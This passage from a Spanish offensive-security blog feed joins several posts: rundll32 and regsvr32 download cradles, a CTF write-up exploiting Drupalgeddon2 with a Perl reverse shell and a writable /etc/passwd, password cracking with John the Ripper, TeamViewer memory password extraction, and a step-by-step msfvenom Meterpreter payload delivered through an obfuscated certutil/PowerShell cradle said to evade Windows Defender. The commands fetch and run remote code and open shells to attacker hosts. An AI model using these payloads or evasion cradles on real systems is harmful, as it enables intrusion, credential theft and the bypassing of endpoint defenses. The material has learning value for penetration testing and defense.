   rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://10.10.10.10:31337/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Uso del método de regsvr32 para invocar al cliente:
 regsvr32.exe /u /n /s /i:http://10.10.10.10:31337/file.sct scrobj.dll


Reverse shell 

ReverseShell es un script en PowerShell que podemos usar para 1 / facilitar el proceso de crear una shell reversa con diferentes payloads según el intérprete que admita el servidor (python, bash, perl, java, php o ruby) y 2 / automatizar el update a Meterpreter.


Shellpop 

Similar a la anterior pero añade más payloads y bind shells.



¿Más? Si echáis en falta no lo dudéis y comentar este post!

Solución al reto 25 "born2root"

$
0
0
Despedimos la semana con el writeup del último reto, el 25, que nos regaló _Stuxnet y que ganó Borja Martínez (borjmz) por primera (y única) sangre. Se trataba de una máquina boot2root y, como veréis a continuación, era sencilla pero muy divertida:

Empezamos con el típico escaneo de todos los puertos de la máquina:
# nmap -sS -A -p- 192.168.1.229                                                                                             

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-18 11:44 CEST
Nmap scan report for 192.168.1.229
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.5p1 Ubuntu 10ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c1:12:f0:96:bc:af:f0:71:87:8a:af:ee:82:a8:1d:4b (RSA)
|   256 97:0d:aa:e7:4b:75:d8:3a:d7:65:3a:c9:d8:93:51:48 (ECDSA)
|_  256 7f:0c:66:c0:b4:56:5e:88:57:14:a1:5b:46:51:c8:bc (EdDSA)
80/tcp   open  http    Apache httpd 2.4.27 ((Ubuntu))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache/2.4.27 (Ubuntu)
|_http-title: Owasp CTF
5355/tcp open  llmnr?
MAC Address: 08:00:27:1C:CF:13 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 192.168.1.229

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6135.37 seconds

Los resultados muestran un puerto 80 abierto, así que vamos a ver de que aplicación web se trata:

http://192.168.1.229/

Vale, claramente es un Drupal así que vamos a ver rápidamente de qué versión se trata con Droopescan:
# ./droopescan scan drupal -u http://192.168.1.229/
[+] No themes found.

[+] Possible interesting urls found:
    Default changelog file - http://192.168.1.229/CHANGELOG.txt

[+] Possible version(s):
    7.51
    7.52


[+] No plugins found.

[+] Scan finished (0:00:04.452500 elapsed)

¡Perfecto! Se trata de la versión 7.51 o 7.52, así que probablemente sea vulnerable al RCE de Drupalggedon2. Vamos a comprobarlo con Metasploit:
msf5 > search drupal

Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Drupal OpenID External Entity Injection
   auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Drupal Views Module Users Enumeration
   exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  Drupal HTTP Parameter Key/Value SQL Injection
   exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Drupal CODER Module Remote Command Execution
   exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Drupal Drupalgeddon 2 Forms API Property Injection
   exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Drupal RESTWS Module Remote PHP Code Execution
   exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  PHP XML-RPC Arbitrary Code Execution


 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        If output should be dumped
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                         yes       The target address
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.229
rhost => 192.168.1.229
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit


[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Drupal 7.x targeted at http://192.168.1.229/
[+] Drupal appears unpatched in CHANGELOG.txt
[*] Sending stage (37775 bytes) to 192.168.1.229
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.229:56868) at 2018-05-18 12:03:21 +0200

meterpreter > getuid
Server username: www-data (33)

¡Bingo! tenemos shell. Vamos a "spawnearla" y a ver si encontramos el fichero user.txt para leer la primera flag:
meterpreter > shell
Process 1431 created.
Channel 0 created.

python3 -c 'import pty; pty.spawn("/bin/sh")'

$ find / -name user.txt -print
....

find: '/run/sudo': Permission denied
find: '/run/postgresql/9.6-main.pg_stat_tmp': Permission denied
find: '/run/lvm': Permission denied
find: '/run/systemd/inaccessible': Permission denied
find: '/run/lock/lvm': Permission denied
/home/hackmen00b/user.txt
find: '/home/hackmen00b/.cache': Permission denied
find: '/etc/polkit-1/localauthority': Permission denied
find: '/etc/ssl/private': Permission denied
$ cat /home/hackmen00b/user.txt
cat /home/hackmen00b/user.txt
8D2A059E6B154EC9215882B82F28CFCB

Fácil y sencillo, para toda la familia xD

Otra opción y la que utilizó Borja es usar el exploit de HansTopo - https://github.com/dreadlocked/Drupalgeddon2, con el que la shell reversa se obtendría de la siguiente manera:
curl 'http://192.168.X.190/sites/default/s.php' -d 'c=perl%20-e%20%27use%20Socket%3B%24i%3D%22192.168.X.243%22%3B%24p%3D1337%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B%27%20%3A'

Una vez con la shell interactiva el siguiente paso será escalar privilegios y, para ello, veremos enseguida que el fichero /etc/passwd tiene permisos de escritura:
$ ls -las /etc/passwd
ls -las /etc/passwd
4 -rwxrwxrwx 1 root root 1759 May  8 15:28 /etc/passwd
$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
_apt:x:106:65534::/nonexistent:/bin/false
mysql:x:107:110:MySQL Server,,,:/nonexistent:/bin/false
lxd:x:108:65534::/var/lib/lxd/:/bin/false
uuidd:x:109:114::/run/uuidd:/bin/false
postgres:x:110:115:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dnsmasq:x:111:65534:dnsmasq,,,:/var/lib/misc:/bin/false
pollinate:x:112:1::/var/cache/pollinate:/bin/false
hackmen00b:x:1000:1000:hackmen00b,,,:/home/hackmen00b:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
$

Para escalar aquí tenemos también varias formas. La que usó Borja fue generar una contraseña para el usuario root: perl -le 'print crypt("nomasimagenessinstego", "aa")', obtener el hash y copiarlo en el campo correspondiente, y luego hacer su y convertirse en root.

Y otra opción sería asignarle una shell al usuario www-data con el que estamos loggeados, hacer 'su' con dicho usuario, ejecutar passwd y luego copiar el mismo hash generado para root:
www-data@hackmen00b:~/html/drupal$ cat /etc/passwd
cat /etc/passwd
root:$6$reKe6zEF$PZ19z7x4uaSCTHqKy8Oma04cvciJV32VcG2PLAQ4N8jVgmteXYAGUZNVsgZhn7L9NT8mWj9g9R.MJA5wk31sF.:0:0:root:/root:/bin/bash
www-data::33:0:www-data:/var/www:/bin/bash
www-data@hackmen00b:~/html/drupal$ su
su
Password: test12345

root@hackmen00b:/var/www/html/drupal# id
id
uid=0(root) gid=0(root) groups=0(root)
root@hackmen00b:/var/www/html/drupal#

root@hackmen00b:/var/www/html/drupal# cat /root/root.txt
cat /root/root.txt
0C9350CD1516EB0A516D604EAC7177FC

Y nada más, dar la enhorabuena a Borja (te debo la camiseta y el welcome pack) y agradecer como siempre a César por compartir sus retos y todos aquellos que lo habéis intentado.

¡Nos "vemos" en el siguiente!

Cómo crackear las contraseñas de los documentos Cherrytree protegidos

$
0
0
Cherrytree de Giuseppe (giuspen) es un editor muy útil que nos permite tomar notas de forma jerárquica o en árbol, con texto enriquecido y resaltado de sintaxis, y que almacena los datos en un solo archivo xml (.ctd) o sqlite (.ctb).
Además, permite proteger con contraseña cualquiera de los dos formatos: .ctz y .ctx respectivamente:


Para proteger el documento Cherrytree utiliza 7-zip. Cuando introducimos la contraseña correcta, se extrae el archivo en una carpeta temporal y se trabaja con una copia no cifrada. Al cerrar correctamente, el documento se protege de nuevo y luego se elimina el del directorio temporal. Si el programa se cierra de forma inesperada, el documento no cifrado permanece en el disco como un archivo temporal.

Comento esto para que lo tengáis en cuenta como primer método a revisar antes de proseguir con el objetivo de este post: crackear la contraseña un documento Cherrytree protegido que, al serlo con 7-zip, permite usar cualquier herramienta estándar como John the Ripper, que es la que veremos en este ejemplo.

Primero clonamos el repositorio oficial:
$ git clone https://github.com/magnumripper/JohnTheRipper.git
Luego, si no eres un asiduo del Perl seguramente tendrás que instalar Compress::Raw::Lzma:
$ sudo perl -MCPAN -e 'install Compress::Raw::Lzma'
Ahora, nos moveremos al directorio run y generaremos el hash para John con el script 7z2john.pl:
$ cd ./JohnTheRipper/run
$ ./7z2john.pl prueba.ctz
prueba.ctz:$7z$2$19$0$$8$32a347b3498b66350000000000000000$922812695$192$182$24b823b85b34e4298005808508cc4616de6640a09f6e86c95cc0c5cd28919c4ea1f32d349da04b073ff6b6bfac2f8706fee39fe2bc8adb045dca57fd7d2e978f615821b12ca419aa3c0dd5f960c13b42f148c2726ad070cfc4ba246d4acfe3dab88371e4a6a7330dbf1a07760a27afcdd614c899db06639096a5a6240743bd0eae40a98bc445120837eb7fae6639940a6465a1a0c6156aa16839063f3b75c2bab70525957fceb58bde6695f31cc5224f01f15b94f277f6954347cc13c013836c$221$00
Como veis el hash se genera sin problemas, listo para ser crackeado. Así que lo guardamos en un fichero y le damos cera con John:
$ ./7z2john.pl prueba.ctz > 7ZHASH
$ ./john 7ZHASH
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 10 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
prueba           (prueba.ctz)
1g 0:00:00:01 DONE 1/3 (2018-05-28 23:02) 0.5952g/s 19.04p/s 19.04c/s 19.04C/s prueba.ctz..prueba.
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ ./john --show 7ZHASH
prueba.ctz:prueba

1 password hash cracked,
0 left

En este caso y para la PoC la password era totalmente predecible, pero en un cracking real podemos afinar usando diccionarios dirigidos y disponemos de toda la versatilidad de John para usar las rules adecuadas, así que no os digo nada que os digo todo... ;)

DNSMORPH: una herramienta de permutación de nombres de dominio

$
0
0
DNSMORPH de NetEvert es un herramienta de permutación de nombres de dominio, inspirado en dnstwist. Está escrita en Go haciéndola un motor compacto y muy rápido.

Soporta gran cantidad de ataques o técnicas de permutación (subdominios, bitsquat, guiones, repetición, omisión, reemplazo, transposición, adición, intercambio de vocales) y permite varias opciones de configuración para ajustarlos.


Como veis en el gif, puede resolver automáticamente por dns, geolocalizar la IP y volcar la salida a un json o csv.

Instalación

Para instalarlo podemos descargar de los binarios precompilados o el código para compilarlo nosotros mismos:
go get -v github.com/netevert/dnsmorph
cd /$GOPATH/src/github.com/netevert/dnsmorph
go get -v ./...
go build

Opciones
$ ./dnsmorph

please supply domains

dnsmorph -d domain | -l domains_file [-girv] [-csv | -json]
  -csv
        output to csv
  -d string
        target domain
  -g    geolocate domain
  -i    include subdomain
  -json
        output to json
  -l string
        domain list filepath
  -r    resolve domain
  -v    enable verbosity

Ejemplo

$ ./dnsmorph -d hackplayers.com -r -g -v


Github

https://github.com/netevert/dnsmorph

Extracción de contraseñas de TeamViewer de la memoria

$
0
0
Cuando Vahagn Vardanian aka vah_13 intentó volver a conectarse por Teamviewer a su VPS Windows en la nube, se dio cuenta de que la contraseña se había rellenado automáticamente:


Entonces pensó "Interesante, ¿cómo puedo acceder a la contraseña? ¿Cómo se almacena la contraseña en mi PC?" Así que volcó la memoria de TeamViewer y buscó (grep) la contraseña:


Como veis, la contraseña se almacena en la memoria en formato Unicode. Y resulta que si terminas de trabajar con TeamViewer y no matas el proceso (o sales de TeamViewer)



la contraseña se queda almacenada en la memoria!

Después de analizarlo, Vahagn entendió que la primera área señalada en rojo es el inicio del "magic data", y en la segunda el final (de vez en cuando el magic data final tienen este valor = 00 00 00 20 00 00).

Script para obtener la password

Para extraer las contraseñas de la memoria, escribieron dos mini programas, en Python y en C++.

El primer script TV_POC.py, contribución de Vladimir Egorov (@NotSoFunny), usa Frida para adjuntarse al proceso TeamViewer.exe, obtener la dirección base y el tamaño de memoria de cada biblioteca en ese proceso. Después, va volcando una por una cada área de memoria, busca partes con [00 88] bytes al inicio y [00 00 00] bytes al final y las copia en el array. El siguiente y el último paso es elegir y decodificar raws de acuerdo con la política de contraseña y las expresiones regulares.


Después de ejecutar el código C++, obtendremos la vista con la contraseña "asdQWE123":


Proyecto: https://github.com/vah13/extractTVpasswords

PowerShell: inyección en memoria usando CertUtil.exe e Invoke-CradleCrafter

$
0
0
Cada vez es más complicado evadir los endpoints como Windows Defender, por lo que están surgiendo numerosas herramientas e ingeniosas técnicas usando LOLBins (Living Off The Land Binaries) y ofuscando los payloads para generar cradles efectivos. (Por si alguno no conoce el término, los cradles son aquellos comandos en una sola línea que permiten ejecutar un payload remoto y ejecutarlo).

Precisamente, en el blog de Coalfire mostraban cómo usar Certutil.exe de Microsoft junto con Invoke-CradleCrafter de Daniel Bohannon, un módulo PowerShell que permite un montón de técnicas para explorar, generar y ofuscar cradles. El resultado como veréis es un payload y un comando en una línea que pueda usarse para evadir la última versión de Windows Defender.

Primero crearemos un de Meterpreter en powershell codificado en base64:
# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.34 LPORT=443 -e cmd/powershell_base64 -f psh -o load.txt
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of cmd/powershell_base64
cmd/powershell_base64 succeeded with size 768 (iteration=0)
cmd/powershell_base64 chosen with final size 768
Payload size: 768 bytes
Final size of psh file: 4512 bytes
Saved as: load.txt

A continuación, crearemos una carpeta que usaremos para servir el script 'load.txt' recién creado. Para que os hagáis una idea de lo que contiene:
# cat load.txt
$JOpFybVZqcCwv = @"
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

$BVRQwroOOkNipmP = Add-Type -memberDefinition $JOpFybVZqcCwv -Name "Win32" -namespace Win32Functions -passthru

[Byte[]] $vNbEwbDua = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x33,0x34,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x33,0x0,0x0,0x0,0x2f,0x39,0x48,0x62,0x31,0x6b,0x64,0x30,0x4b,0x32,0x64,0x58,0x37,0x6d,0x66,0x71,0x62,0x6f,0x49,0x30,0x42,0x54,0x51,0x50,0x45,0x31,0x6e,0x6b,0x4e,0x45,0x52,0x35,0x4a,0x51,0x32,0x51,0x70,0x34,0x38,0x59,0x4c,0x50,0x66,0x71,0x6f,0x30,0x55,0x57,0x53,0x47,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa0,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5


$cXvoEwHqhsx = $BVRQwroOOkNipmP::VirtualAlloc(0,[Math]::Max($vNbEwbDua.Length,0x1000),0x3000,0x40)

[System.Runtime.InteropServices.Marshal]::Copy($vNbEwbDua,0,$cXvoEwHqhsx,$vNbEwbDua.Length)

$BVRQwroOOkNipmP::CreateThread(0,0,$cXvoEwHqhsx,0,0,0)

El siguiente paso será utilizar Invoke-CradleCrafter para ofuscar los comandos con certutil y PowerShell que se usarán para realizar una inyección en memoria evadiendo el Defender.
Para ello entraremos en la consola de Powershell en nuestro Linux (pwsh o powershell) y, una vez dentro, nos moveremos al directorio donde hemos clonado Invoke-CradleCrafter y ejecutaremos lo siguiente:
PS /Pruebas/Invoke-CradleCrafter> Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter


Empezaremos indicando la URL completa donde servimos nuestro payload:
SET URL http(s)://192.168.1.34/load.txt


para después indicar que queremos inyectar en memoria (MEMORY) y usar CERTUTIL:


En la parte de ofuscación seleccionamos 'All' y 1:


cSet-Variable rw 'http://192.168.1.34/load.txt';dir ty*;SV C (certutil.exe -ping (Item Variable:\rw).Value);.(GCM *e-Ex*)(((ChildItem Variable:/C).Value[2..(((ChildItem Variable:/C).Value).Length-2)]-Join"`r`n"))

Una vez que tenemos el resultado, lo pegamos en un archivo llamado raw.txt en la máquina con Windows para después codificarlo en base64 utilizando certutil.


El resultado será un archivo al que hemos llamado cert.cer que parece un certificado:


Ese archivo lo llevaremos también a la máquina del atacante y prepararemos el siguiente comando que lo llamará de forma remota para desplegarlo y ejecutarlo en el destino. Una vez que se ejecute, llamará al payload load.txt e inyectará Meterpreter a través de PowerShell en la memoria:
powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\cert.cer (New-Object Net.WebClient).DownloadString('http://192.168.1.34/cert.cer'); certutil -decode %APPDATA%\cert.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe  -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cert.cer

Si tenemos el web server y el multi/handler (payload reverse_https) preparados conseguiremos levantar la sesión de meterpreter evadiendo completamente Windows Defender.


Os quito un momento el parámetro hidden para que veáis la ejecución:


Y en un momento, obtendremos la sesión de Meterpreter en la máquina del atacante:


Tened en cuenta que si el ataque tiene éxito, el script PowerShell de Meterpreter que se ejecuta debe borrarse manualmente. El archivo cert.cer se eliminará automáticamente, pero hay que eliminar el archivo stage.ps1 una vez que la sesión de Meterpreter se establezca:


pd. Recordar también, que si tenemos ya una sesión en PowerShell podemos copiar el contenido del archivo stage.ps1 para ejecutar el payload directamente.

PESecurity: verificando las protecciones de un binario en Windows (ASLR, DEP y SafeSEH) con Powershell:

$
0
0
A la hora de reversear o explotar una DLL o un EXE es capital saber si este fue compilado con ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention) o SafeSEH (Structured Exception Handling).

PowerShell es una gran opción para ver las características de un PE (Portable Executable) porque es una herramienta nativa y puede acceder a la API de Windows y extraer información dentro de los archivos. Simplificándolo un poco, los encabezados PE contienen toda la información que necesita Windows para ejecutar imágenes compiladas. Dentro de los encabezados PE (Optional Header 0x18) hay una sección opcional DLLCharacteristics con valores hexadecimales que proporcionan información para las opciones compiladas en un archivo. Los valores posibles figuran en la siguiente tabla:

Constant Value Description
0x0001Reserved, must be zero.
0x0002Reserved, must be zero.
0x0004Reserved, must be zero.
0x0008Reserved, must be zero.
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE0x0040DLL can be relocated at load time.
IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY0x0080Code Integrity checks are enforced.
IMAGE_DLL_CHARACTERISTICS_NX_COMPAT0x0100Image is NX compatible.
IMAGE_DLLCHARACTERISTICS_NO_ISOLATION0x0200Isolation aware, but do not isolate the image.
IMAGE_DLLCHARACTERISTICS_NO_SEH0x0400Does not use structured exception (SE) handling. No SE handler may be called in this image.
IMAGE_DLLCHARACTERISTICS_NO_BIND0x0800Do not bind the image.
0x1000Reserved, must be zero.
IMAGE_DLLCHARACTERISTICS_WDM_DRIVER0x2000A WDM driver.
IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE0x8000Terminal Server aware.

Como podéis ver en la tabla hay valores relacionados con el estado de ASLR (IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE), DEP (IMAGE_DLLCHARACTERISTICS_NX_COMPAT) y SEH (IMAGE_DLLCHARACTERISTICS_NO_SEH). Los valores comunes de las características DLLC son 140 para ASLR, DEP y SEH, y 400 para ningún ASLR, DEP y SEH. Si IMAGE_DLLCHARACTERISTICS_NO_SEH es verdadero, entonces no hay SEH y SafeSEH no es necesario.

Tened en cuenta que SafeSEH solo está disponible para imágenes de 32 bits y puede usarse solo si cada módulo vinculado lo admite. Para verificar SafeSEH necesitamos mirar los campos SafeSEH que residen en la sección IMAGE_LOAD_CONFIG_DIRECTORY del PE. Dentro de esta estructura están el SEHandlerTable, que contiene la dirección virtual de una tabla de direcciones virtuales relativas para cada controlador válido, y el SEHandlerCount, que es el número de controladores en la tabla de controlador válida de SEHandlerTable. Si no se utiliza SafeSEH, estos miembros y, en ocasiones, la sección IMAGE_LOAD_CONFIG_DIRECTORY estarán vacíos.

Para automatizar estas comprobaciones y saber si un binario de Windows (EXE/DLL) ha sido compilado con estas opciones (además de StrongNaming, Authenticode, Control Flow Guard y HighEntropyVA) la gente de NetSPI ha publicado un script en Powershell muy útil llamado PESecurity (https://github.com/NetSPI/PESecurity):

Para usarlo empezaremos importando el módulo:

Import-Module .\Get-PESecurity.psm1

Analizar un binario:

C:\PS> Get-PESecurity -file C:\Windows\System32\kernel32.dll


Chequear un directorio entero de DLLs y EXEs:

C:\PS> Get-PESecurity -directory C:\Windows\System32\


Chequear un directorio entero de DLLs y EXEs recursivamente:

C:\PS> Get-PESecurity -directory C:\Windows\System32\ -recursive

Exportar los resultados a un CSV:

C:\PS>  Get-PESecurity -directory C:\Windows\System32\ -recursive | Export-CSV file.csv

Mostrar los resultados en una tabla:

C:\PS> Get-PESecurity -directory C:\Windows\System32\ -recursive | Format-Table


Mostrar los resultados en una tabla y ordenarlos por una columna:

C:\PS> Get-PESecurity -directory C:\Windows\System32\ -recursive | Format-Table | sort ASLR

Enlaces:

- http://msdn.microsoft.com/en-us/library/windows/desktop/ms680336(v=vs.85).aspx
- http://msdn.microsoft.com/en-us/library/windows/desktop/ms680339(v=vs.85).aspx
- http://msdn.microsoft.com/en-us/library/windows/desktop/ms680328(v=vs.85).aspx
- http://msdn.microsoft.com/en-us/library/9a89h429.aspx
- https://github.com/mattifestation/PowerSploit

Referencias:

https://blog.netspi.com/verifying-aslr-dep-and-safeseh-with-powershell/

Shell mediante un documento .odt malicioso (Squiblydoo)

$
0
0
El correo corporativo sigue siendo un vector de entrada interesante para realizar una intrusión, sobretodo en ejercicios de red team, spear phishing y, cómo no, también en escenarios reales.
